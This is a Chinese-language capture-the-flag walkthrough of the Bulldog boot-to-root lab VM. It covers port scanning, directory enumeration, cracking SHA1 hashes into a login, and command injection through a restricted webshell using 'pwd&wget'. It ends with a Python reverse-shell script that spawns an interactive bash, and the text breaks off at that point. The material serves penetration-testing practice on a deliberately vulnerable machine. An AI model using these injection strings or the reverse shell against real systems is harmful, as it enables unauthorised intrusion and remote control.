10. CTF综合靶机渗透(三)

小程序：扫一扫查出行
【扫一扫了解最新限行尾号】
复制小程序

靶机说明

斗牛犬工业公司最近将其网站污损，并由恶意德国牧羊犬黑客团队拥有。这是否意味着有更多的漏洞可以利用？你为什么不知道？:)

这是标准的Boot-to-Root。你唯一的目标是进入根目录并看到祝贺信息，你怎么做取决于你！

难度：初学者/中级，如果遇到困难，试着找出你可以与系统交互的所有不同方式。这是我唯一的暗示;）

目标

提权到root权限并查看flag

运行环境

这个靶机，作者建议在Virtualbox上运行。但是攻击机kali在vm中。
首先是网络环境，将两台处于不同虚拟机软件中的虚拟机配置到同一网卡下。
Virtualbox设置为桥接模式，桥接到物理的无线网卡
只有一块无线网卡链接到了互联网，所以kali直接桥接，复制物理网络即可。
最后kali执行 dhclient 命令，请求分配ip，bulldog直接开机即可。

信息收集

ip发现

kali安装在vmware，作为攻击机，ip为:

bulldog靶机运行在virtualbox虚拟机上，在开机时，已经给出了ip地址:

端口扫描

执行命令 nmap -sS 192.168.0.113

发现 23 , 80 , 8080 端口开放

服务识别

执行命令 nmap -A -p 80,23 192.168.0.113 对23和80进行详细探测

发现ssh服务和web服务，并且web服务为python。

漏洞挖掘

首先查看web，同时进行目录探测 `dirb http://192.168.0.113`

发现 /admin/auth/group , /admin/auth/user , /admin/login , /dev/shell 等目录

对/admin/auth/group ,/admin/auth/user 进行访问探测

发现都重定向到 /admin/login 的登陆页面

访问admin登录页面，并进行了注入尝试，没有成功

查看/dev/shell发现webshell不能使用

查看/dev页面的源码发现提示

新系统不在使用php或任何CMS，而是使用Django框架开发。这意味着不太可能再找到网页的注入漏洞，只能找Django框架漏洞；网站不使用php，无需再找php漏洞或者写php木马；

有明显的英文提示： We'll remove these in prod. It's not like a hacker can do anything with a hash。

看到这个，经常做ctf的人，都能看出来，下一步就是hash碰撞

hash碰撞讲解：https://www.cnblogs.com/xuanhun/archive/2012/01/01/2309571.html

对hash进行碰撞，hash长度为40位，可以看出是sha1，即使不知道是哪种hash，也可以把每个hash值，到CMD5尝试碰撞解密：

然后hash碰撞，我们得出密码为 bulldoglover ,但是我们没有用户名

我们再来分析源码，发现了这个，我们推测用户名为 sarah

应为哈希碰撞，后面的为密码

利用碰撞出来的两个密码进行登录尝试利用sarah成功登录

此时webshell可以使用

真是一举两得

获取shell

发现给出的webshell只能使用给定的几个命令。尝试命令注入。

python反弹shell 可以进行命令注入，尝试wget是否有权限。攻击机kali执行命令 python -m SimpleHTTPServer 80 搭建简易web服务。在webshell上执行命令 pwd&wget http://192.168.0.112 。kali的日志中发现访问记录

在开启python web服务的目录下准备一个python shell

 import socket,subprocess,os

 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

 s.connect(("192.168.0.113",1234))

 os.dup2(s.fileno(),0)

 os.dup2(s.fileno(),1)

 os.dup2(s.fileno(),2)

 p=subprocess.call(["/bin/bash","-i"])